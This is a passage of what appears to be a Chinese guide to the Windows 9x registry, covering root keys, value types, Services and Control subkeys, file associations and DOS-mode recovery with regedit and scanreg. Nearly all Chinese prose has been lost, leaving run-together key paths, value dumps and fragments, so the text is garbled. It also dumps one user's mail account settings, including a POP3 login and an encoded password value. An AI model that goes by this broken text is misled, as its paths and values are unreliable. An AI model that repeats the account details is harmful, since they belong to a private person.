注册表全攻略D7%A2%B2%E1%B1%ED%C8%AB%… · Web view.exe exe文件（这是DOS、Windows下可执行文件） .fnd fnd文件 .fon fon文件（这是Windows的TTF字库的索引文件）

1

PCWin3.x.iniINIINI

Windows95Windows

INI

1.

2.

3.

4.

1.

2.WindowsWindows

3.

Windows?Windows2000cRegedt32Windows

WindowsRegedt32RegeditRegedt32.exe

2

Windows(Registry)

WindowsSystem.datUser.datwindowsSystem.datUser.dat

Windows(Regedit.exe)

""HKEY(KEY)(SubKEY)(value)(valueName)(valueData)

HKEY-CLASSES-ROOTOLE

HKEY-CURRENT-USER

HKEY-LOCAL-MACHINE

HKEY-USERS

HKEY-CURRENT-CONFIG

HKEY-DYN-DATA

1.

255"a"="***"

2.

"a"=hex:01,00,00,00

3.DWORD

DWORD32(4)"a"=dword:00000001

WindowsWindows

WindowsSystem.datSystem.da0User.datUser.da0Windows

2

1Windows(Regedit.exe)

Regedit.exe-->*.reg

2Win95Other\Misc\ERU\ERU.EXE(EmergencyRecoveryUtility)

WindowsSystem.datUser.datSystem.da0User.da0Regedit.exeWindowsDOS.regERU.EXE

c:\System.1stWindowsSystem.dat

1.()

MagicSetTweakUIWinHacker

2.()

.reg.reg

REGEDIT4

[HKEY_LOCAL_MACHINE\Software\SuperRabbit\MagicSet]

"@"="SuperRabbitMagicSetForWindows98V2.92"

"a"=dword:00000001

"b"=hex:02,05,00,00

[HKEY_LOCAL_MACHINE\Software\SCC\QuickViewer]

REGEDIT4

[]HKEY_LOCAL_MACHINE\Software\SuperRabbit\MagicSet

@""

.reg

3.()

()

3

WindowsHKEYAPIWindowsAPIforWindows

Windows

HKEY_CURRENT_USERSKeyboardLayoutAttributesREG_DWORD:0REG_DWORD0

ControlPanel

(BINARY)

CustomColors

DWORD(DWORD)

DWORD324DWORDDWORD

(SZ)

Win.iniSystem.ini.ini

RegEditRegEdt32

WindowsNTRegEdt32

REG_UNKNOWN

REG_BINARY30~

REG_COLOR_RGB*4

REG_DWORD44DWORD

REG_DWORD_BIG_ENDIAN54DWORD

REG_DWORD_LITTLE_ENDIAN44DWORD

REG_EXPAND_SZ20~

REG_FILE_NAME*0~

REG_FILE_TIME*

REG_FULL_RESOURCE_DESCRIPTOR9

REG_LINK60~(symboliclink)Unicode

REG_MULTI_SZ70~nullnull

REG_NONE0REG_NONEREG_UNKNOWN

REG_RESOURCE_LIST8

REG_RESOURCE_REQUIREMENTS_LIST10

REG_SZ10~null

REG_UNKNOWN

4

HKEY_CURRENT_USER\Software

HKEY_CURRENT_USER\SoftwareSoftware

HKEY_CURRENT_USER\Software\RegisterNewInfoREG_SZ

Y

(Y)

5

HKEY_LOCAL_MACHINE

director(F)

Windows

(U)(D)(W)(C)

Regedt32Rededit32Regedt32Regedt32

(F3)

Regedt32

ON/OFF0/1DWORD

HKEY_CURRENT_USER\ControlPanel\KeyboardKeyboardDelayKeyboardSpeed

KeyboardDelay:REG_SZ:1

13

6

RegeditRegedt32

Regedt32

REG

TXTWindwos

.NEWUSER

(Y)

7HKEY_LOCAL_MACHINE

HKEY_LOCAL_MACHINWindows

HKEY_LOCAL_MACHINE

HARDWARE

HARDWAREDEVICEMAPDESCRIPTIONDEVICEMAP:

HKEY_LOCAL_MACHINE\HARDWARE

HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP

HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\SERIALCOMM

HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\SERIALCOMM

*COM1=COM1COM1

*COM2=COM2COM2

DESCRIPTION

HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION

HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System

HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor

HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor\0

*SAM

*SECURITY

*SOFTWARE

*SYSTEM

SystemCurrentControlSetCurrentControlSetControlServices

Control

(1)fontassoc

HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\fontassocAssociatedDefaultFontsAssociatedCharSet

AssociatedDefaultFonts

HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\

fontassoc\AssociatedDefaultFonts

*AssocSystemFont=simsun.ttfsimsun.ttfTrueType

*FontPackageDontCare=FontPackage

Win3.xWifeman.ini[FontPackages]

*FontPackageRoman=

*FontPackageSwiss=

*FontPackageModern=

*FontPackageScript=

*FontPackageDecorative=AssociatedCharSet

HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\fontassoc\Associated

CharSet

(2)Nls

HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\NlsWindowsEUDC

(3)SessionManager

KnownDLLs

Windows32Dll

CheckBadApps

16WindowsPPower.exeMSDOS6.xHKEY_LOCAL_MACHINE\System\CurrentControlSet\control\SessionManager\CheckBadApps\POWER.EXE

CheckBadApps400

32


SessionManager\CheckBadApps400

UltraEdit3232Ui32.exeHKEY_LOCAL_MACHINE\System\CurrentControlSet\control\SessionManager\CheckBadApps400

\UE32.EXEUi32.exeUi32.exe

AppPatches

Windows

Windows3.x

Win.iniHKEY_LOCAL_MACHINE\System

\CurrentControlSet\control\SessionManager\AppPatchesSetup


SessionManager\AppPatches\SETUP

(4)MediaResources

HKEY_LOCAL_MACHINE\System\

CurrentControlSet\control\MediaResourcesDirectSound

JoystickMIDINonGeneralMIDIDriverList

(5)MediaProperties

HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\Media-

Properties

(6)FileSystem

HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\FileSystem

WindowsNTFSWin31Win9.x

(7)Shutdown

HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\ShutdownWindows

(8)keyboardlayouts

HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\keyboardlayouts

WindowsKeyboardLayouts

(9)Update

HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\Update

(10)TimeZoneInformation


TimeZoneInformation

(11)Print

HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\Print

(12)IDConfigDB

HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\IDConfigDB

(13)ComputerName


ComputerName\ActiveComputerName

HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\ComputerName\ComputerName

(14)SecurityProviders


SecurityProviders

Services

HKEY_LOCAL_MACHINE\System\CurrentControlSet\ServicesWindows

(1)Class

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ClassWindows

1394

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class1394IEEE13941394*@=13941394

*Icon=-21

*Link={6BDD1FC1-810F-11D0-BEC7-08002BE2092F1394{6BDD1FC1-810F-11D0-BEC7-08002BE2092F

{6BDD1FC1-810F-11D0-BEC7-08002BE2092F}

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\{6BDD1FC1-810F-11D0-BEC7-08002BE2092F}1394

*Link=13941394

*Class=139413941394

Adapter

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\Adapter

CD-ROM

*@=CD-ROM

*Icon=-9

*Link={4d36e964-e325-11ce-bfc1-08002be10318}CD-ROM{4d36e964-e325-11ce-bfc1-08002be10318}

{4d36e964-e325-11ce-bfc1-08002be10318}

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\{4d36e964-e325-11ce-bfc1-08002be10318}CD-ROM

*Link=AdapterAdapter

*Class=AdapterAdapter

Printer

HKEY_LOCAL_MACHINE\System\CurrentControlSet\

Services\Class\Printer

*@=

*Installer=MSPRINT.DLLMSPRINT.DLL

*Icon=-4

*NoDisplayClass=110

*Link={4d36e979-e325-11ce-bfc1-08002be10318}

MEDIA

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class

\MEDIA

*@=

*Link={4d36e96c-e325-11ce-bfc1-08002be10318

{4d36e96c-e325-11ce-bfc1-08002be10318}

*Icon=0

*Installer=mmci.dllMMCI.DLL

(2)VxD

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxDWindowsWindows

Winsock


Services\VxD\WinsockWinSock*IrSockets=wsirda.vxd

Winsockwsirda.vxd

VNETSUP


Services\VxD\VNETSUP

*ComputerName=caogjwj

*Workgroup=cgj

*Comment=CAOGUOJUN

*StaticVxD=vnetsup.vxdvnetsup.vxd

*Start=hex:00

*NetClean=hex:010100

*MaintainServerList=2

*LMAnnounce=0LMLMAnnounce

Ndi

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\VNETSUP\Ndi

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\VNETSUP\Ndi\params

paramsLM

a.MaintainServerList

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD

\VNETSUP\Ndi\params\MaintainServerListWindowsnetview

*default=22

*ParamDesc=

*type=enum

*@=22

enumenum

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\VNETSUP\Ndiparams\MaintainServerList\enum

*2=

*1=

*0=

b.LMAnnounce


Services\VxD\VNETSUP\Ndi\params\LMAnnounceLMLMLANManager

*default=00

*ParamDesc=LM

*type=enum

*@=00

enumenumHKEY_LOCAL_MACHINE\System\

CurrentControlSet\Services\VxD\VNETSUP\Ndi\params\LMAnnounce\enum

*1=LANManager

*0=LM,

NDIS

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\NDISNIDS

*Start=hex:0000

*NetClean=hex:01

*StaticVxD=ndis.vxd,ndis2sup.vxdndis.vxdndis2sup.

vxd*DeviceVxDs=ndiswmi.sysNIDSndiswmi.sys

JAVASUP


Services\VxD\JAVASUPJAVASUPJava

*Start=hex:0000

*StaticVxD=JAVASUP.VXDJAVASUP.VXD

CONFIGMG


Services\VxD\CONFIGMG

*StaticVxD=*CONFIGMG*CONFIGMG

*Start=hex:0000

*SysDM=SYSDM.CPLSYSDM.CPL

*SysDMFunc=DMSetupDevnodeDMSetupDevnode

*Detect=SYSDM.CPLSYSDM.CPL

*DetectFunc=DMRedetectDMRedetect

*Private=SYSDM.CPLSYSDM.CPL

*PrivateFunc=DMPrivateProblemDMPrivateProblem

*RemoveRomOkay=SYSDM.CPLSYSDM.CPLROM

*RemoveRomOkayFunc=DMRemoveRomOkayDMRemoveRomOkayROM

*AskForConfig=SYSDM.CPLSYSDM.CPL*AskForConfigFunc=

DMAskForConfigDMAskForConfig

*AskForUndock=SYSDM.CPLSYSDM.CPL

*AskForUndockFunc=DMAskForUndockDMAskForUndock

CONIFGMG

a.SpannableBus


Services\VxD\CONFIGMG\SpannableBusSpannableBus

*PCI=hex:00PCI

*ISAPNP=hex:00ISA

b.PnPBus


Services\VxD\CONFIGMG

\PnPBusPnPBus

*PCI=hex:00PCI

*BIOS=hex:00BIOS

*EISA=hex:00EISA

*USB=hex:00USB

*HID=hex:00HID

*1394=hex:001394

*ISAPNP=hex:00ISAPNP

*MF=hex:00MF

*ACPI=hex:00ACPI

NTKern


Services\VxD\NTKernNTKern

*StaticVxD=*NTKERN*NTKERN

*Start=hex:00

(3)WinSock

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WinsockInternetWinSock

Autodial


Services\Winsock\AutodialAutodial

*AutodialDllName32=wininet.dll32DLLwininet.

dll

*AutodialFcnName32=InternetAutodialCallback

Parameters


Services\Winsock\ParametersWinSock

*MSTCP=HKEY_LOCAL_MACHINE\System\CurrentControlSet\

Services\VxD\MSTCP\Parameters\WinsockWinSock

(4)WDMFS

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WDMFSWDMFSWDM

*ImagePath=\\SystemRoot\\System32\\Drivers\\wdmfs.sysWDMFSwdmfs.sys

*ErrorControl=hex:01,00,00,00

*Start=hex:00

*Type=hex:01,00,00,00WDMFS

*DisplayName=WDMWindowsFileSystemMapperWDMFS

(5)UPDATE

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\UPDATEUPDATE

*ImagePath=\\SystemRoot\\System32\\Drivers\\update.sysUPDATEupdate.sys

*ErrorControl=hex:01,00,00,00

*Start=hex:00

*Type=hex:01,00,00,00UPDATE

*DisplayName=IntelUpdateDriverUPDATE

(6)RemoteAccess

HKEY_LOCAL_MACHINE\System\CurrentControlSet\ServicesRemoteAccessWindows

*Version=1.2c

*RemoteConnection=hex:00,00,00,00

Authentication

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services

\RemoteAccess\Authentication

NetworkProvider

HKEY_LOCAL_MACHINE\System\CurrentControlSet\ServicesRemoteAccess\NetworkProvider

(7)MSNP32

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MSNP32

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MSNP32

\NetworkProviderNetworkProviderMicrosoft

*GroupFcn=GROUPPOL.DLL,NTGetUserGroupsGROUPPOL.DLLNTGetUserGroups

*AuthenticatingAgent=

*LogonDisconnected=hex:00,00,00,00

*Name=MicrosoftNetwork

*ProviderPath=msnp32.dllMicrosoftmsnp32.dll

*Description=MicrosoftNetworkMicrosoft

*NetID=hex:00,00,01,00

*CallOrder=hex:00,00,00,40

(8)NWNP32

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NWNP32

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NWNP32

\NetworkProviderNetworkProviderMicrosoftNetware

*GroupFcn=GROUPPOL.DLL,NWGetUserGroups:GROUPPOL.DLLNWGetUserGroups

(9)Arbitrators


Services\Arbitrators

DMAI/O

IRQArb



\IRQArb

DMAArb



\DMAArbDMA

AddrArb



\AddrArb

IOArb



\IOArbI/O

(10)WinSock2

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WinSock2

InternetWinSock2.0

Parameters


\ParametersWinSock2.0

Providers


\ProvidersWinSock2.0

INET

(11)wdmaud

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\wdmaud

WDMAudioWDM

*Group=BaseWDMAudio

*ImagePath=\\SystemRoot\\system32\\drivers\\wdmaud.sysWDMAudio

wdmaud.sys

*Start=hex:03,00,00,00

*Type=hex:01,00,00,00

*ErrorControl=hex:01,00,00,00wdmaud

redbooksbemulswmidi

(12)NPSTUB

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NPSTUB

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NPSTUB\NetworkProviderNetworkProviderMicrosoft

*Name=Microsoft

*ProviderPath=ienpstub.dll32ienpstub.dll

*RealDLL=mslocusr.dllDLLmslocusr.dll

*Description=Microsoft

*NetID=hex:00,00,01,00

*CallOrder=hex:00,00,00,4013)ProtectedStorage


Services\ProtectedStorageProtectedStorage

ParametersHKEY_LOCAL_MACHINE\

System\CurrentControlSet\Services\ProtectedStorage\Parameters

*ImagePath=C:\\WINDOWS\\SYSTEM\\PSTORES.EXE

PSTORES.EXE

*AuthCodeCfg=dword:00000001

*Configuration=dword:00000001

ParametersSHKEY_LOCAL_MACHINE

\System\CurrentControlSet\Services\ProtectedStorage\Parameters\Spstores.exepsbase.dll

*pstores.exe=hex:13,ff,e7,bb,a3,f2,01,1e,87,.......pstores.exe

*psbase.dll=hex:d0,08,ef,10,2b,bf,b2,f2,23,.......psbase.dll

(14)WebPost

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WebPost

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WebPost\Providers

ProvidersInternetMailOutlookExpress

8HKEY_CLASSES_ROOT

WindowsHKEY_CLASSES_ROOTHKEY_CLASSES_ROOT

.386vxd.ADMADM_auto_

.aiapplication/postscript.aifaiff

.aifcaiff.aiffaiff

.aniani.artart

.auauInternet.awdFaxView

.sndau.aviaviVideoforWindows

.batbat.bfcBriefcase

DOSWindows

.bmpPaint.picture.cdacda

.cnfConferencelink.crtcertificate

.dercertificate.clpClipboard

.cmdcmd.comcomDOS

Windowscommand.comwin.co

.cplcpl.csstext/css

.curcur.datDAT_auto_

.dcxDCXImage.DocumentDCXImage.DICTxt

.dlldll.shbDocShortCut

WindowsDOC

.drvdrvWindows.xlaEXCEL.Addin

.xlkExcel.Backup.xlcExcel.Chart.5

.csvExcel.CSV.xldExcel.Dialog

.difExcel.DIF.xlbExcel.Sheet.5

.xlsExcel.Sheet.5.slkExcel.SLK

.xltExcel.Template.xlvExcel.VBAModule

.xlwExcel.Workspace.xllExcel.XLL

.xlmExcel.Macro.Sheet.xifXIFImage.Document

XIFImage

.exeexeDOSWindows.fndfnd

.fonfonWindowsTTF.gifgif

.gocgocserve.hlphelpWindows

.htht.htmhtml

.htmlhtml.icoicoWindows

.infinf.iniiniWindows

.urlInternetShortcutInternetURL.jobJobObject

.jfifjpeg.jpejpeg

.jpgjpeg.lnklnkWindows

.midmid.mmmMPlayer

.mlvMPEG

.makmak

.manapplication/x-trof-man.MAPI

MailCLSID\{9E56BE60-C50F-11CF-9A2C-00A0C90A90CE}

.mccDialer10CallingCard.movmovQuickTimefor

Windows

.mov

ievideo/x-sgi-movie.mp2MPEG

.mpaMPEG.mpeMPEG

.mpegMPEG.mpgMPEG

.msnMS.Network.Document

MSN.rmimid

.graMSGraph.Chart.5.grpMSProgramGroup

.obdOffice.Binder.95.obtOffice.Binder.Template

.obzOffice.Binder.Wizard.ofnOffice.File.NewOffice

.PBKMSN_PhoneBook.pcxPCXImage.Document

.nwsMicrosoftInternetNews

Message.pifpif

.pmaPerf.psapplication/postscript

.pmcPerf.pmlPerf

.pmrPerf.pmwPerf

.pfmpfm.pnfpnf

.queQueueObject.qtMOV

.raReadAudio.ramReadAudio

.regreg.rnkrnk

.rpmaudio/x-pn-realaudio-

plugin.rtfWord.RTF

.scrscr.shsShellScrap

.sitapplication/x-stuffit.syssys

.tifTIFImage.Document.tiffTIFImage.Document

.ttfttf.ttcttc

.EXCtxt.logtxt

.scptxt.txttxt

.picViewerFrameClass.virvir

.vsdVisio.Drawing.4.vssVisio.Drawing.4

.vstVisio.Drawing.4.vswVisio.Drawing.4

.wavwav.ARCWinzip

.ARJWinzip.gzWinzip

.LZHWinzip.tarWinzip

.tazWinzip.tgzWinzip

.zWinzip.zipWinzip

.wllWord.AddinwbkWord.Backup

.DOTWord.Template.wizWord.Wizard

.docWord.Document.wriwri

.xbmxbm(image/x-xbitmap).xifXIFImage.

Document

.ulsulstext/iuls.WHTWhiteboard

.WPSwps

HKEY_CLASSES_ROOT*bas++

*

*

HKEY_CLASSES_ROOT\*

HKEY_CLASSES_ROOT\*\shellex

HKEY_CLASSES_ROOT\*\shellex\PropertySheetHandlers

HKEY_CLASSES_ROOT\*\shellex\PropertySheetHandlers\{3EA48300-8CF6-101B-84FB-666CCB9BCD32}

*Windows

bas

.bas

HKEY_CLASSES_ROOT\.bas

HKEY_CLASSES_ROOT\.bas\shell

HKEY_CLASSES_ROOT\.bas\shell\open

HKEY_CLASSES_ROOT\.bas\shell\open\command

bascommandcommand

#@=E:\VB\vb.exe%1

basE:\VB\vb.exe

bmp

bmp

HKEY_CLASSES_ROOT\.bmp

HKEY_CLASSES_ROOT\.bmp\ShellNew

ShellNew

#NullFile=NullFile.bmp

9HKEY_CURRENT_CONFIG

WindowsHardware Configuration fileHKEY_CURRENT_CONFIG

HKEY_CURRENT_CONFIG

WindowsHKEY_LOCAL_MACHINE\ConfigHKEY_LOCAL_MACHINE\EnumHKEY_CURRENT_CONFIGHKEY_CURRENT_CONFIGHKEY_LOCAL_MACHINE\ConfigHKEY_LOCAL_MACHINE\Enum

WindowsWindowsWindowsWindowsWindows

10HKEY_CURRENT_USER

HKEY_CURRENT_USERHKEY_USERS\.Default

HKEY_CURRENT_USERHKEY_USERS\.Default

11HKEY_USER

AppEvents

HKEY_USERS.DEFAULTwsSoftware

HKEY_USERS\SoftwareHKEY_LOCAL_MACHINE\Software

HKEY_CURRENT_USER\.DEFAULTRemoteAccess

#AppEvents

#ControlPanel

#keyboardlayout

#Software

.DEFAULT

Control

ControlPanelHKEY_USERS\.DEFAULT\ControlPanelControlPanel

ControlPanelMouseWindows

ControlPanel

Accessibility

HKEY_USERS\.DEFAULT\ControlPanel\Accessibility

#KeyboardPreference=0

#BlindAccess=0

AccessibilityOn01

Appearance

HKEY_USERS\.DEFAULT\ControlPanel\Appearance

AppearanceScheme

Cursors

HKEY_USERS\.DEFAULT\ControlPanel\Cursors

Colors

HKEY_USERS\.DEFAULT\ControlPanel\Colors

Scrollbar=192192192RGB

desktop

HKEY_USERS\.DEFAULT\ControlPanel\desktop

Desktop

#DragFullWindows=001

#FontSmoothing=001

#Wallpaper=

#TileWallpaper=0

#ScreenSaveTimeOut=840840

#UserPreferencemask=hex:ae,00,00,00

#WallpaperStyle=0ActiveDesktop

#ScreenSaveLowPowerActive=00

#ScreenSavePowerOffActive=00

#CursorBlinkRate=500

#MenuShowDelay=400

#ScreenSaveActive=00

#ScreenSaveUsePassword=dword:0000000001

desktopWindowMetrics

HKEY_USERS\.DEFAULT\ControlPanel\desktop\WindowMetrics

#IconSpacingFactor=100

#ScrollWidth=-270

#ScrollHeight=-270

#IconSpacing=-1155

#IconVerticalSpacing=-1125

#IconFont=hex:09,00,00,00,00,00,00,00,90,01,00,00,......

#CaptionFont=hex:09,00,00,00,00,00,00,00,90,01,00,00,00,......

#MenuFont=hex:09,00,00,00,00,00,00,00,90,}01,00,00,00,00,......

#SmCaptionFont=hex:09,00,00,00,00,00,00,00,bc,02,00,00,......

#StatusFont=hex:09,00,00,00,00,00,00,00,90,01,00,00,00,86,00,......

#MessageFont=hex:09,00,00,00,00,00,00,00,90,01,00,00,00,86,00,......

#BorderWidth=-15

#CaptionWidth=-270

#CaptionHeight=-270

#SmCaptionWidth=-210

#SmCaptionHeight=-210

#MenuWidth=-270

#MenuHeight=-270

#ShellIconSize=323232

InputMethod

HKEY_USERS\.DEFAULT\ControlPanel\InputMethod

InputMethod

#ShowStatus=1

#ParallelDistance=hex:00,00,00,00

#PerpendicularDistance=hex:10,00,00,00

#ParallelTolerance=hex:38,00,00,00

#PerpendicularTolerance=hex:10,00,00,00

InputMethodHotKeys

HKEY_USERS\.DEFAULT\ControlPanel\InputMethod\HotKeysHotKeys1.5HKEY_USERS\.DEFAULT\ControlPanel\InputMethod\HotKeys\00000011

#KeyModifiers=hex:04,c0,00,00

#TargetIME=hex:00,00,00,00IME

#VirtualKey=hex:20,00,00,00L

International

HKEY_USERS\.DEFAULT\ControlPanel\International

Keyboard

HKEY_USERS\.DEFAULT\ControlPanel\Keyboard

keyboard

#KeyboardSpeed=31

#KeyboardDelay=0

Mouse

HKEY_USERS\.DEFAULT\ControlPanel\Mouse

Mouse

#MouseThreshold1=4

#MouseThreshold2=12

#MouseSpeed=2PowerCfg

HKEY_USERS\.DEFAULT\ControlPanel\PowerCfg

PowerCfg

#CurrentPowerPolicy=0/PowerPolicies

PowerCfg

(1)GlobalPowerPolicy

HKEY_USERS\.DEFAULT\ControlPanel\PowerCfg\GlobalPowerPolicy

#Policies=hex:01,00,00,00,06,00,00,00,03,00,00,00,00,......

(2)PowerPolicies

HKEY_USERS\.DEFAULT\ControlPanel\PowerCfg\PowerPolicies

0

HKEY_USERS\.DEFAULT\ControlPanel\PowerCfg\PowerPolicies\0/

#Name=/

#Description=#

#Policies=hex:01,00,00,00,02,00,00,00,01,00,00,00,00,00,......

1

HKEY_USERS\.DEFAULT\ControlPanel\PowerCfg\PowerPolicies\1/

#Name=/

#Description=

#Policies=hex:01,00,00,00,02,00,00,00,01,00,00,00,00,......

3

HKEY_USERS\.DEFAULT\ControlPanel\PowerCfg\PowerPolicies\3

#Name=

#Description=

#Policies=hex:01,00,00,00,00,00,00,00,01,00,00,00,00,00,......

Keyboard

HKEY_USERS\.DEFAULT\keyboardlayout

preload

HKEY_USERS\.DEFAULT\keyboardlayout\preloadPreload

Substitutes

HKEY_USERS\.DEFAULT\keyboardlayout\substitutes

Toggle

HKEY_USERS\.DEFAULT\keyboardlayout\toggle

Software

SoftwareHKEY_LOCAL_MACHINE\SoftwareMicrosoftNetscapeNavagiatorHKEY_LOCAL_MACHINE\SoftwareAdobeCorelAutodeskMicrosoftNetscapeNavagiatorWindowsMicrosoftInternetExplorer5.0NetMeetingFrontPageExpressWindows

Microsoft

HKEY_USERS\.DEFAULT\Software\MicrosoftMicrosoft

(1)InternetExplorer

HKEY_USERS\.DEFAULT\Software\Microsoft\InternetExplorerInternetExplorer5.0

InternetExplorer

Main

HKEY_USERS\.DEFAULT\Software\Microsoft\InternetExplorer\MainInternetExplorer5.0

(2)JavaVM

HKEY_USERS\.DEFAULT\Software\Microsoft\JavaVMJavaVM

#EnableJIT=hex:01,00,00,00JITJavaInternetToolbar

01,00,00,00JIT00,00,00,00JIT

#EnableLogging=hex:00,00,00,0001,00,00,0000,00,00,00

(3)Windows

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion

CurrentVersionWindows

Applets

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\AppletsJavaAppletsJava

Multimedia

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Multimedia

(4)OutlookExpress

HKEY_USERS\.DEFAULT\Software\Microsoft\OutlookExpressOutlookExpress

(5)ActiveSetup

HKEY_USERS\.DEFAULT\Software\Microsoft\ActiveSetup

HKEY_USERS\.DEFAULT\Software\Microsoft\ActiveSetup\InstalledComponents

ActiveSetupActiveSetupWindows

(6)Conferencing

HKEY_USERS\.DEFAULT\Software\Microsoft\Conferencing

HKEY_USERS\.DEFAULT\Software\Microsoft\Conferencing\UI

HKEY_USERS\.DEFAULT\Software\Microsoft\Conferencing\UI\Directory

DirectoryMicrososftNetMeetingURL

#Count=hex:09,00,00,009

(7)WebPost

HKEY_USERS\.DEFAULT\Software\Microsoft\WebPostWebPostWebFrontPageInternet

Logging

HKEY_USERS\.DEFAULT\Software\Microsoft\WebPost\LoggingWebPost

#LoggingDir=C:\\PROGRA~1\\WebPub~1

#WizardLogging=NoWebyesno

#WebPostLogging=NoWebPostyesno

FrontPageWPP

HKEY_USERS\.DEFAULT\Software\Microsoft\WebPost\FrontPageWPPFrontPageWebPostWebPostPage

(8)SystemCertificates

HKEY_USERS\.DEFAULT\Software\Microsoft\SystemCertificates

(9)InternetAccountManager

HKEY_USERS\.DEFAULT\Software\Microsoft\InternetAccountManagerInternetInternetAccountManager

#ServerID=dword:0000006b

#AccountName=dword:0000000c

#DefaultLDAPAccount=00000001LDAP

#DefaultMailAccount=00000008L

#DefaultNewsAccount=0000000b

AccountsAccounts0000000100000002LDAPLDAP0000000100000002......00000007LDAP00000008000000090000000a

0000000100000008LDAP

00000001

HKEY_USERS\.DEFAULT\Software\Microsoft\InternetAccountManager\Accounts\00000001SwitchBoard

#AccountName=SwitchBoard

#LDAPServer=ldap.switchboard.com

#LDAPAuthentication=dword:000000000

#LDAPTimeout=dword:000000033

#LDAPSearchReturn=dword:00000064

#LDAPServerID=dword:00000064

#LDAPResolveFlag=dword:00000000

#LDAPURL=http://www.switchboard.comURL

#LDAPPort=dword:00000185185

#LDAPSecureConnection=dword:000000000

#LDAPLogo=C:\\PROGRA~1\\COMMON~1\\Services\\swtchbrd.bmpSwitchBoard

#LDAPBindDN=dword:00000000BindDN0

#LDAPSimpleSearch=dword:000000000

AccountsLDAP

AccountsLDAPLDAPLDAPURL

00000

002Yahoo!PeopleSearchldap.yahoo.comHttp//www.yahoo.com/search/people/

00000

003Info

Spaceldap.infospace.comHttp://www.infospace.com

0000

0004Info

SpaceBusinessldapbiz.infospace.comHttp://www.infospace.com

00000

005Bigfootldap.bigfoot.comhttp://www.bigfoot.com

0000

0006WhoWhereldap.whowhere.comhttp://www.whowhere.com

0000

0007Verisigndirectory.verisign.comHttp://www.verisign.com

00000008

HKEY_USERS\.DEFAULT\Software\Microsoft\InternetAccountManager\Accounts\00000008

#AccountName=163.net

#ConnectionType=dword:00000002Internet

#Connectoid=CQ163

#POP3Server=pop.163.netPOP3

#POP3UserName=WanjiPOP3

#POP3Password2=hex:01,01,07,00,00,00,16,7f,7f,77,00,00,63POP3

#POP3UseSicily=dword:00000000SPA0

#SMTPServer=public.cta.gz.cnSMTPSMTP

#SMTPDisplayName=SMTP

#SMTPEmailmailto:[email protected]

Accounts

POP3

POP3

POP3SMPT

0000

0009

CQ

163Public.cta.gz.cnWanjihex:01,01,07,00,00,00,16,7f,7f,77,00,00,63

public.cta.gz.cn

000

0000a

263

NETpop.263.netWan

ji_1hex:01,01,07,00,00,00,16,7f,7f,77,00,00,63

12DOS

12DOS

WINDOWSWINDOWSDOS

scanreg/restore

DOS55scanreg.exe

DOSregedit.exe

scanreg/restoreregedit.exeedit

1

DOSRegedit[/L:system]

[/R:user]/Efilename[regpath1]/Lsystemsystem.dat/Ruseruser.dat?Eregpath1test.regregedit/etest.regHKEYLOCALMACHINE\Software\Microsoft\Windows\Current

Version\Run

2

DOSedit.reg6WINDOWS[HKEY_LOCAL_MACHINE][HKEYLOCALMACHINE\Enum\PCI]WINDOWS[HKEYLOCALMACHINE\Enum\PCI

\VEN_8086DEV7111SUBSYS_00000000REV01\BUS_00DEV_07FUNC01]Logconfig[HKEY_LOCALMACHINE\Enum

\PCI\VEN1002DEV4C42SUBSYS_4C421071REVDC000800]WINDOWS

[HKEYLOCALMACHINE\Software\Microsoft

\Windows\CurrentVersion]WINDOWS

[HKEYCLASSROOT][HKEYCURRENTUSER]WINDOWS

1WINDOWSC:\windows\sysbackup[HKEY_LOCAL_MACHINE]extract/erb000.cab.system.datuser.datregedit/L:system.dat/R:user.dat/ebackup.regHKEYLOCALMACHINE

3

regedit/L:system/R:userfile1.regfile2.regregeditfile1.reg

